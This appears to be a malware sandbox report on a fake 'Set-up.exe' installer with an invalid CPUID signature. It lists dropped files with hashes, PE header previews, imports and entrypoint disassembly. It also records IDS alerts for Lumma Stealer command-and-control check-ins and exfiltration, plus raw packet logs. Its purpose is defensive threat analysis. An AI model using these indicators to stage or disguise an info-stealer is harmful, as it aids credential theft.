Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g...#~..#~..#~...q.. ~..#~..!~......"~......+~......"~......"~..Rich#~..........................PE..L....[.L...........!.....6...........E.......P......................................D=...............................P.......P..(....................L.. ?...p.......................................................P...............................text....5.......6.................. ..`.rdata.......P.......:..............@..@.data...8....`.......<..............@....reloc.......p.......J..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-CDVKE.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-A1P96.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.720366600008286
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
MD5:	E4211D6D009757C078A9FAC7FF4F03D4
SHA1:	019CD56BA687D39D12D4B13991C9A42EA6BA03DA
SHA-256:	388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
SHA-512:	17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\Z7592A1QJ4YAVH9BY5KB8681.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3367424
Entropy (8bit):	6.530011244733973
Encrypted:	false
SSDEEP:	98304:qJYVM+LtVt3P/KuG2ONG9iqLRQEd333T:7VL/tnHGYiql5l
MD5:	F809F51E678B7F2E388F8C969EF902C8
SHA1:	DC1C645533E0FD1637BF455BA69A9481E7C4B83A
SHA-256:	8D6E5513DE230109BE2238537173352832D1AEBDC7B10FAD0E59D4882812CA81
SHA-512:	C500B40B604AD6203396FCC0243CBB50EAD544586EAB2448C2C6BCC2106DFAE3777A85C344766224F5F695FA60295880623B2A97B0AAE97DC547076FA03CD067
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f.......................................@..........................04.......3...@......@...................P,.n.....,.j:...P0.p.....................,.<............................p,.......................,......@,.(....................text............................. ..`.itext..$.......0................. ..`.data................*.............@....bss.....\|....+..........................idata..j:....,..<...f+.............@....didata.(....@,.......+.............@....edata..n....P,.......+.............@..@.tls....X....`,..........................rdata..]....p,.......+.............@..@.reloc..<.....,.......+.............@..B.rsrc...p....P0......./.............@..@.............04......`3.............@..@................

C:\Users\user\AppData\Roaming\ColorStreamLib\ColorStreamLib.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	846404211
Entropy (8bit):	0.14084982000793586
Encrypted:	false
SSDEEP:
MD5:	A42E953364198E087438838FD14040E7
SHA1:	14A8F937E6F683A68859EB5AA4B61C17048FC4D9
SHA-256:	5BD35BB6F3EE49884DB46F4E52E805BBEA8333C2627EAEEA8BC05785164CD576
SHA-512:	9A29901D832EA8B94A1C15BD9777F8E4DBA55A1198989EC73E4B4A87E17FBEB248220B8F35FD700285A7C9AD37C0B5616248A8248B3EE4076A5E085247228AC6
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........"w.RC..RC..RC..I..`C..I...C..[;..UC..[;..IC..RC...B..I..NC..I..{C..I..SC..I..SC..RichRC..........................PE..L....NKO.....................Zi...................@...........................s.....T.s.......@...........................................f..........................................................................................................text...!........................... ..`.rdata...1.......2..................@..@.data...x........,..................@....rsrc.....f.......f.................@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\ColorStreamLib\is-P5ORS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DRJCJ.tmp\Z7592A1QJ4YAVH9BY5KB8681.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	846404211
Entropy (8bit):	0.14084982000793586
Encrypted:	false
SSDEEP:
MD5:	A42E953364198E087438838FD14040E7
SHA1:	14A8F937E6F683A68859EB5AA4B61C17048FC4D9
SHA-256:	5BD35BB6F3EE49884DB46F4E52E805BBEA8333C2627EAEEA8BC05785164CD576
SHA-512:	9A29901D832EA8B94A1C15BD9777F8E4DBA55A1198989EC73E4B4A87E17FBEB248220B8F35FD700285A7C9AD37C0B5616248A8248B3EE4076A5E085247228AC6
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........"w.RC..RC..RC..I..`C..I...C..[;..UC..[;..IC..RC...B..I..NC..I..{C..I..SC..I..SC..RichRC..........................PE..L....NKO.....................Zi...................@...........................s.....T.s.......@...........................................f..........................................................................................................text...!........................... ..`.rdata...1.......2..................@..@.data...x........,..................@....rsrc.....f.......f.................@..@........................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	4.202686356020658
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Set-up.exe
File size:	73'412'334 bytes
MD5:	8139ecd1163d5fcc41821dbb61ddc2ff
SHA1:	707f18cc33e9ba8f7ada11b202b44876d375cecf
SHA256:	4dbf3891ef5bb0e734b67630fe2b5210035d56307ad663f3867d9ebcdd00497a
SHA512:	fdadbf19f27dc1c53b06834b1e5e196044cef456fe00a192d33c7fe3fab9ad990768133d006e41e43c2c727e7a2991f1fc5e279d315740a81240c66871ba44ec
SSDEEP:	24576:TetiuQ3DguTjn4J5h5CGo9K2Y9iQ0pUIfH5Bk4+aKb7jb7j:qAB3Mcn4JrAVVQ0pVk4+7
TLSH:	95F72299B720254A379B3C850BBD2C5D9038E6DA37785F23AC43AA5149C9760FF83727
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A{.k...8...8...8.b<8...8.b,8...8...8...8...8...8..%8...8.."8...8Rich...8........PE..L...X\|.N.................n...V...B...8.....

File Icon


Icon Hash:	9292b1c0e87ef210

Static PE Info

General

Entrypoint:	0x403883
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x4E807C58 [Mon Sep 26 13:21:28 2011 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	be41bf7b8cc010b614bd36bbca606973

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Sectigo Public Code Signing CA EV R36, O=Sectigo Limited, C=GB
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	03/07/2024 02:00:00 04/07/2025 01:59:59
Subject Chain	CN=CPUID, O=CPUID, S=Nord, C=FR, OID.2.5.4.15=Private Organization, OID.1.3.6.1.4.1.311.60.2.1.3=FR, SERIALNUMBER=493 590 202 00047
Version:	3
Thumbprint MD5:	8482FFDA9E08210CFED2F900F28A1F2E
Thumbprint SHA-1:	B46B17F6C24351D61F1CB1B830FA1546CAAFD411
Thumbprint SHA-256:	CA3BD5C3F6EEF3799D48651CD1372FEB84649358ADE03108B14DB14CD4239A83
Serial:	7B6D149DF3DF52D8797362ED082FC2A1

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push ebp
push esi
push edi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+18h], ebp
mov dword ptr [esp+10h], 00409268h
mov dword ptr [esp+14h], ebp
call dword ptr [00408030h]
push 00008001h
call dword ptr [004080B4h]
push ebp
call dword ptr [004082C0h]
push 00000008h
mov dword ptr [00472EB8h], eax
call 00007FCD4CE8ECFBh
push ebp
push 000002B4h
mov dword ptr [00472DD0h], eax
lea eax, dword ptr [esp+38h]
push eax
push ebp
push 00409264h
call dword ptr [00408184h]
push 0040924Ch
push 0046ADC0h
call 00007FCD4CE8E9DDh
call dword ptr [004080B0h]
push eax
mov edi, 004C30A0h
push edi
call 00007FCD4CE8E9CBh
push ebp
call dword ptr [00408134h]
cmp word ptr [004C30A0h], 0022h
mov dword ptr [00472DD8h], eax
mov eax, edi
jne 00007FCD4CE8C2CAh
push 00000022h
pop esi
mov eax, 004C30A2h
push esi
push eax
call 00007FCD4CE8E6A1h
push eax
call dword ptr [00408260h]
mov esi, eax
mov dword ptr [esp+1Ch], esi
jmp 00007FCD4CE8C353h
push 00000020h
pop ebx
cmp ax, bx
jne 00007FCD4CE8C2CAh
add esi, 02h
cmp word ptr [esi], bx

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ C ] VS2010 SP1 build 40219
[RES] VS2010 SP1 build 40219
[LNK] VS2010 SP1 build 40219

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x9b34	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xf4000	0x90de	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x4600016	0x2ed8
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x7a000	0x964	.ndata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2d0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6dae	0x6e00	00499a6f70259150109c809d6aa0e6ed	False	0.6611150568181818	data	6.508529563136936	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x2a62	0x2c00	07990aaa54c3bc638bb87a87f3fb13e3	False	0.3526278409090909	data	4.390535020989255	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xb000	0x67ebc	0x200	014871d9a00f0e0c8c2a7cd25606c453	False	0.203125	data	1.4308602597540492	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x73000	0x81000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xf4000	0x90de	0x9200	8f21d30613df1479c4bc74e72378dada	False	0.9617669092465754	data	7.896836244039032	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xfe000	0xf32	0x1000	72fa551601a6d6ca3937f85e356f6e4f	False	0.599609375	data	5.51537192790114	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xf41c0	0x853d	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced	English	United States	1.0006156732827114
RT_ICON	0xfc700	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.749113475177305
RT_DIALOG	0xfcb68	0x100	data	English	United States	0.5234375
RT_DIALOG	0xfcc68	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0xfcd84	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0xfcde4	0x22	data	English	United States	0.9705882352941176
RT_MANIFEST	0xfce08	0x2d6	XML 1.0 document, ASCII text, with very long lines (726), with no line terminators	English	United States	0.5647382920110193

Imports

DLL	Import
KERNEL32.dll	SetFileTime, CompareFileTime, SearchPathW, GetShortPathNameW, GetFullPathNameW, MoveFileW, SetCurrentDirectoryW, GetFileAttributesW, GetLastError, CreateDirectoryW, SetFileAttributesW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, ExitProcess, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, SetErrorMode, lstrcpynA, CloseHandle, lstrcpynW, GetDiskFreeSpaceW, GlobalUnlock, GlobalLock, CreateThread, LoadLibraryW, CreateProcessW, lstrcmpiA, CreateFileW, GetTempFileNameW, lstrcatW, GetProcAddress, LoadLibraryA, GetModuleHandleA, OpenProcess, lstrcpyW, GetVersionExW, GetSystemDirectoryW, GetVersion, lstrcpyA, RemoveDirectoryW, lstrcmpA, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalAlloc, WaitForSingleObject, GetExitCodeProcess, GlobalFree, GetModuleHandleW, LoadLibraryExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, WideCharToMultiByte, lstrlenA, MulDiv, WriteFile, ReadFile, MultiByteToWideChar, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW, lstrlenW
USER32.dll	GetAsyncKeyState, IsDlgButtonChecked, ScreenToClient, GetMessagePos, CallWindowProcW, IsWindowVisible, LoadBitmapW, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, TrackPopupMenu, GetWindowRect, AppendMenuW, CreatePopupMenu, GetSystemMetrics, EndDialog, EnableMenuItem, GetSystemMenu, SetClassLongW, IsWindowEnabled, SetWindowPos, DialogBoxParamW, CheckDlgButton, CreateWindowExW, SystemParametersInfoW, RegisterClassW, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharNextA, CharUpperW, CharPrevW, wvsprintfW, DispatchMessageW, PeekMessageW, wsprintfA, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, LoadCursorW, SetCursor, GetWindowLongW, GetSysColor, CharNextW, GetClassInfoW, ExitWindowsEx, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndPaint, FindWindowExW
GDI32.dll	SetBkColor, GetDeviceCaps, DeleteObject, CreateBrushIndirect, CreateFontIndirectW, SetBkMode, SetTextColor, SelectObject
SHELL32.dll	SHBrowseForFolderW, SHGetPathFromIDListW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW, SHGetSpecialFolderLocation
ADVAPI32.dll	RegEnumKeyW, RegOpenKeyExW, RegCloseKey, RegDeleteKeyW, RegDeleteValueW, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumValueW
COMCTL32.dll	ImageList_AddMasked, ImageList_Destroy, ImageList_Create
ole32.dll	CoTaskMemFree, OleInitialize, OleUninitialize, CoCreateInstance
VERSION.dll	GetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-05T18:52:39.538302+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49816	188.114.96.3	443	TCP
2025-01-05T18:52:40.305657+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49816	188.114.96.3	443	TCP
2025-01-05T18:52:40.305657+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49816	188.114.96.3	443	TCP
2025-01-05T18:52:40.801527+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49825	188.114.96.3	443	TCP
2025-01-05T18:52:41.279111+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49825	188.114.96.3	443	TCP
2025-01-05T18:52:41.279111+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49825	188.114.96.3	443	TCP
2025-01-05T18:52:41.926375+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49833	188.114.96.3	443	TCP
2025-01-05T18:52:42.607472+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49833	188.114.96.3	443	TCP
2025-01-05T18:52:43.112659+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49842	188.114.96.3	443	TCP
2025-01-05T18:52:44.287988+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49850	188.114.96.3	443	TCP
2025-01-05T18:52:45.476019+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49858	188.114.96.3	443	TCP
2025-01-05T18:52:46.727738+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49865	188.114.96.3	443	TCP
2025-01-05T18:52:48.865546+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49879	188.114.96.3	443	TCP
2025-01-05T18:52:49.405477+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49879	188.114.96.3	443	TCP
2025-01-05T18:52:49.910540+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49885	188.114.96.3	443	TCP
2025-01-05T18:52:50.315166+0100	2008438	ET MALWARE Possible Windows executable sent when remote host claims to send a Text File	1	188.114.96.3	443	192.168.2.5	49885	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 5, 2025 18:52:39.072773933 CET	49816	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:39.072808981 CET	443	49816	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:39.072880030 CET	49816	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:39.075989008 CET	49816	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:39.075999975 CET	443	49816	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:39.538202047 CET	443	49816	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:39.538301945 CET	49816	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:39.542098999 CET	49816	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:39.542119026 CET	443	49816	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:39.542368889 CET	443	49816	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:39.590794086 CET	49816	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:39.602225065 CET	49816	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:39.602257013 CET	49816	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:39.602334976 CET	443	49816	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:40.305680990 CET	443	49816	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:40.305778027 CET	443	49816	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:40.305839062 CET	49816	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:40.307049036 CET	49816	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:40.307066917 CET	443	49816	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:40.321225882 CET	49825	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:40.321269989 CET	443	49825	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:40.321341038 CET	49825	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:40.323167086 CET	49825	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:40.323184013 CET	443	49825	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:40.801274061 CET	443	49825	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:40.801527023 CET	49825	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:40.802959919 CET	49825	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:40.802969933 CET	443	49825	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:40.803212881 CET	443	49825	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:40.804481983 CET	49825	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:40.804498911 CET	49825	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:40.804554939 CET	443	49825	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:41.279134989 CET	443	49825	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:41.279191971 CET	443	49825	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:41.279221058 CET	443	49825	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:41.279246092 CET	443	49825	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:41.279275894 CET	443	49825	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:41.279289007 CET	49825	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:41.279305935 CET	443	49825	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:41.279330969 CET	49825	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:41.279351950 CET	49825	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:41.279357910 CET	443	49825	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:41.279886007 CET	443	49825	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:41.279916048 CET	443	49825	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:41.279936075 CET	49825	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:41.279944897 CET	443	49825	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:41.279997110 CET	49825	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:41.283920050 CET	443	49825	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:41.325177908 CET	49825	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:41.325196981 CET	443	49825	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:41.370114088 CET	443	49825	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:41.370141983 CET	443	49825	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:41.370182991 CET	49825	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:41.370199919 CET	443	49825	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:41.370212078 CET	443	49825	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:41.370273113 CET	49825	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:41.370423079 CET	49825	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:41.370423079 CET	49825	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:41.370449066 CET	443	49825	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:41.370457888 CET	443	49825	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:41.457108974 CET	49833	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:41.457163095 CET	443	49833	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:41.457401037 CET	49833	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:41.457690954 CET	49833	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:41.457707882 CET	443	49833	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:41.926291943 CET	443	49833	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:41.926374912 CET	49833	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:41.927577972 CET	49833	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:41.927587986 CET	443	49833	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:41.927826881 CET	443	49833	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:41.929143906 CET	49833	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:41.929292917 CET	49833	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:41.929322958 CET	443	49833	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:42.607618093 CET	443	49833	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:42.607974052 CET	443	49833	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:42.611927032 CET	49833	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:42.612000942 CET	49833	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:42.612018108 CET	443	49833	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:42.626629114 CET	49842	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:42.626648903 CET	443	49842	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:42.626740932 CET	49842	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:42.627011061 CET	49842	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:42.627022028 CET	443	49842	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:43.112533092 CET	443	49842	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:43.112658978 CET	49842	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:43.113816977 CET	49842	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:43.113826990 CET	443	49842	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:43.114067078 CET	443	49842	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:43.115292072 CET	49842	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:43.115417957 CET	49842	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:43.115452051 CET	443	49842	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:43.115617990 CET	49842	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:43.159328938 CET	443	49842	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:43.748537064 CET	443	49842	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:43.748644114 CET	443	49842	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:43.748698950 CET	49842	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:43.748851061 CET	49842	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:43.748868942 CET	443	49842	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:43.807670116 CET	49850	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:43.807708025 CET	443	49850	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:43.807787895 CET	49850	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:43.808126926 CET	49850	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:43.808142900 CET	443	49850	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:44.287908077 CET	443	49850	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:44.287987947 CET	49850	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:44.289470911 CET	49850	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:44.289479017 CET	443	49850	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:44.289719105 CET	443	49850	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:44.291157007 CET	49850	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:44.291289091 CET	49850	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:44.291332006 CET	443	49850	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:44.291404963 CET	49850	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:44.291412115 CET	443	49850	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:44.931070089 CET	443	49850	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:44.931169987 CET	443	49850	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:44.931230068 CET	49850	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:44.931447983 CET	49850	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:44.931462049 CET	443	49850	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:45.017436028 CET	49858	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:45.017493963 CET	443	49858	188.114.96.3	192.168.2.5
